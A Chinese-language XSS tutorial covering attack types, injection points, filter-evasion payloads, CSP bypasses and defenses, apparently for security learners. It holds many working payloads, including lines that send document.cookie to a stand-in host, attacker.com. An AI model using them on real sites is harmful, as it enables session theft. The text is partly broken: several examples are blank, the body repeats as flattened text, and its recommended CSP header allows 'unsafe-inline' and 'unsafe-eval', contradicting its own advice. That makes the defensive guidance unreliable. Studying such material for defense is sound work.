对于XSS跨站脚本攻击的学习
字数 1921 2025-08-24 07:48:09

XSS跨站脚本攻击全面解析与防御指南

1. XSS基本概念

跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。

2. XSS攻击原理

XSS攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。攻击者通常会将恶意脚本嵌入到Web页面中的某个位置(如输入框、评论框、搜索框等),然后诱使用户访问这个被注入了恶意脚本的页面。

3. XSS分类

3.1 存储型XSS(持久型)

  • 特点:恶意代码存储在服务器中(如数据库)
  • 攻击流程:攻击者提交恶意代码 → 存储到服务器 → 用户访问页面时触发执行
  • 危险程度:高,容易造成蠕虫传播、Cookie盗窃
  • 常见场景:评论系统、用户资料、文章内容等
<!-- 存储型XSS示例 -->
<script>alert('hack')</script>

3.2 反射型XSS(非持久型)

  • 特点:需要用户点击特定链接才能触发
  • 攻击流程:攻击者构造恶意URL → 用户点击 → 服务器返回包含恶意脚本的页面 → 脚本执行
  • 常见场景:搜索功能、错误消息页面
<!-- 反射型XSS示例 -->
http://example.com/search?q=<script>alert(1)</script>

3.3 DOM型XSS

  • 特点:不经过后端处理,完全在客户端发生
  • 攻击流程:恶意代码通过URL参数控制DOM操作 → 触发XSS
  • 常见场景:基于前端JavaScript处理URL参数的页面
<!-- DOM型XSS示例 -->
<script>
  var query = window.location.search.substring(1);
  var name = query.split("=")[1];
  document.write("<p>Hello, " + name + "!</p>");
</script>

3.4 JSONP XSS(特殊反射型)

  • 特点:利用JSONP跨域特性绕过同源策略
  • 攻击流程:构造恶意callback参数 → 服务器返回包含恶意函数的响应 → 执行攻击代码
// 正常响应
callback({"name":"John","age":30});

// 恶意URL
http://example.com/api?callback=attackerFunction

// 攻击者定义的函数
function attackerFunction(data) {
  document.cookie = "sessionID=" + data.name;
}

4. XSS攻击注入点

  1. HTML注释内容中

    <!-- <script>alert('XSS')</script> -->
    
  2. HTML标签属性值中

    
    
  3. HTML标签属性名中

    <input name="><script>alert(1)</script>">
    
  4. HTML标签名中

    alert(1)</script>>
    
  5. script/img/svg标签中

    <script>alert(1)</script>
    
    <svg onload=alert(1)>
    
  6. CSS样式中

    <div style="background-image:url('javascript:alert(1)')">
    
  7. HTTP响应头中(CRLF注入)

    ?key=%0d%0a%0d%0a
    

5. XSS绕过技术

5.1 关键词绕过

  1. 大小写绕过

    <sCriPt>alert(1)</sCriPt>
    
  2. 拼接绕过

    
    
    
  3. 函数替换

    
    
    
    

5.2 编码绕过

  1. HTML实体编码

    <a href=javascript:alert(1)>click</a>
    
  2. URL编码

    <a href=javascript:%61%6c%65%72%74%28%31%29>click</a>
    

5.3 特殊技巧绕过

  1. 空格绕过

    
    
  2. 括号绕过

    <script>alert`1`</script>
    
  3. 分号绕过

    <script>{onerror=alert}throw 1</script>
    
  4. 长度限制绕过(拆分法)

    <script>a='document.write("'</script>
    <script>a=a+'<script>alert(1)'</script>
    <script>a=a+'")'</script>
    <script>eval(a)</script>
    

6. CSP绕过技术

6.1 CSP基本概念

内容安全策略(Content Security Policy)是一种安全机制,用于保护网站免受XSS攻击。通过CSP,管理员可以指定哪些资源可以加载到页面中。

6.2 常见CSP策略指令

  • default-src: 默认资源加载策略
  • script-src: 限制JavaScript来源
  • style-src: 限制CSS来源
  • img-src: 限制图片来源
  • connect-src: 限制AJAX/WebSocket来源
  • font-src: 限制字体来源
  • object-src: 限制插件来源
  • frame-src: 限制iframe来源
  • report-uri: 指定违规报告URL

6.3 CSP绕过技术

  1. iframe标签绕过

    var iframe = document.createElement('iframe');
    iframe.src="./vulnerable.php";
    document.body.appendChild(iframe);
    
  2. location跳转绕过

    <script>window.location.href='http://attacker.com/'+document.cookie;</script>
    
  3. link标签绕过

    <link rel="prefetch" href="//attacker.com/?cookie">
    
  4. 低版本CDN库绕过

    <script src="https://cdn.example.com/angular.js/1.0.8/angular.min.js"></script>
    <div ng-app>{{constructor.constructor('alert(1)')()}}</div>
    
  5. meta标签跳转

    <meta http-equiv="refresh" content="1;url=http://attacker.com/?cookie">
    
  6. 静态资源绕过

    <script src="https://trusted.com/user-controlled.js"></script>
    
  7. JSONP端点绕过

    <script src="https://trusted.com/api?callback=alert(1)//"></script>
    
  8. base-uri绕过

    <base href="//attacker.com/">
    <script src="malicious.js"></script>
    
  9. 不完整script标签绕过nonce

    <script src=data:text/plain,alert(1)
    
  10. 外域资源绕过

    alert(1)">
    
  11. PDF XSS绕过

    <embed src="malicious.pdf"></embed>
    
  12. SVG矢量图绕过

    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
    

7. 防御措施

  1. 输入过滤与验证

    • 对用户输入进行严格过滤
    • 使用白名单而非黑名单
    • 上下文相关的编码输出
  2. 输出编码

    • HTML实体编码 (& -> &amp;, < -> &lt;)
    • JavaScript编码 (\x3cscript\x3e)
    • URL编码
  3. 设置安全HTTP头

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    
  4. 使用现代框架的安全特性

    • React的JSX自动转义
    • Angular的DomSanitizer
    • Vue的v-html指令限制
  5. Cookie安全设置

    Set-Cookie: sessionid=xxxx; HttpOnly; Secure; SameSite=Strict
    
  6. 内容安全策略(CSP)最佳实践

    • 禁用内联脚本 ('unsafe-inline')
    • 禁用eval ('unsafe-eval')
    • 限制外部资源加载
    • 启用report-uri监控

8. 测试与验证

  1. 手动测试payload

    <script>alert(document.domain)</script>
    
    
  2. 自动化扫描工具

    • OWASP ZAP
    • Burp Suite
    • XSS Hunter
  3. CSP验证工具

    • CSP Evaluator (https://csp-evaluator.withgoogle.com)
    • Report-URI (https://report-uri.com)
  4. 浏览器安全测试

    • Chrome DevTools安全面板
    • Firefox安全控制台

通过全面理解XSS攻击原理、注入方式、绕过技术和防御措施,开发人员和安全工程师可以更有效地保护Web应用免受XSS攻击威胁。

XSS跨站脚本攻击全面解析与防御指南 1. XSS基本概念 跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。 2. XSS攻击原理 XSS攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。攻击者通常会将恶意脚本嵌入到Web页面中的某个位置(如输入框、评论框、搜索框等),然后诱使用户访问这个被注入了恶意脚本的页面。 3. XSS分类 3.1 存储型XSS(持久型) 特点 :恶意代码存储在服务器中(如数据库) 攻击流程 :攻击者提交恶意代码 → 存储到服务器 → 用户访问页面时触发执行 危险程度 :高,容易造成蠕虫传播、Cookie盗窃 常见场景 :评论系统、用户资料、文章内容等 3.2 反射型XSS(非持久型) 特点 :需要用户点击特定链接才能触发 攻击流程 :攻击者构造恶意URL → 用户点击 → 服务器返回包含恶意脚本的页面 → 脚本执行 常见场景 :搜索功能、错误消息页面 3.3 DOM型XSS 特点 :不经过后端处理,完全在客户端发生 攻击流程 :恶意代码通过URL参数控制DOM操作 → 触发XSS 常见场景 :基于前端JavaScript处理URL参数的页面 3.4 JSONP XSS(特殊反射型) 特点 :利用JSONP跨域特性绕过同源策略 攻击流程 :构造恶意callback参数 → 服务器返回包含恶意函数的响应 → 执行攻击代码 4. XSS攻击注入点 HTML注释内容中 HTML标签属性值中 HTML标签属性名中 HTML标签名中 script/img/svg标签中 CSS样式中 HTTP响应头中(CRLF注入) 5. XSS绕过技术 5.1 关键词绕过 大小写绕过 拼接绕过 函数替换 5.2 编码绕过 HTML实体编码 URL编码 5.3 特殊技巧绕过 空格绕过 括号绕过 分号绕过 长度限制绕过(拆分法) 6. CSP绕过技术 6.1 CSP基本概念 内容安全策略(Content Security Policy)是一种安全机制,用于保护网站免受XSS攻击。通过CSP,管理员可以指定哪些资源可以加载到页面中。 6.2 常见CSP策略指令 default-src : 默认资源加载策略 script-src : 限制JavaScript来源 style-src : 限制CSS来源 img-src : 限制图片来源 connect-src : 限制AJAX/WebSocket来源 font-src : 限制字体来源 object-src : 限制插件来源 frame-src : 限制iframe来源 report-uri : 指定违规报告URL 6.3 CSP绕过技术 iframe标签绕过 location跳转绕过 link标签绕过 低版本CDN库绕过 meta标签跳转 静态资源绕过 JSONP端点绕过 base-uri绕过 不完整script标签绕过nonce 外域资源绕过 PDF XSS绕过 SVG矢量图绕过 7. 防御措施 输入过滤与验证 对用户输入进行严格过滤 使用白名单而非黑名单 上下文相关的编码输出 输出编码 HTML实体编码 ( & -> &amp; , < -> &lt; ) JavaScript编码 ( \x3cscript\x3e ) URL编码 设置安全HTTP头 使用现代框架的安全特性 React的JSX自动转义 Angular的DomSanitizer Vue的v-html指令限制 Cookie安全设置 内容安全策略(CSP)最佳实践 禁用内联脚本 ( 'unsafe-inline' ) 禁用eval ( 'unsafe-eval' ) 限制外部资源加载 启用report-uri监控 8. 测试与验证 手动测试payload 自动化扫描工具 OWASP ZAP Burp Suite XSS Hunter CSP验证工具 CSP Evaluator (https://csp-evaluator.withgoogle.com) Report-URI (https://report-uri.com) 浏览器安全测试 Chrome DevTools安全面板 Firefox安全控制台 通过全面理解XSS攻击原理、注入方式、绕过技术和防御措施,开发人员和安全工程师可以更有效地保护Web应用免受XSS攻击威胁。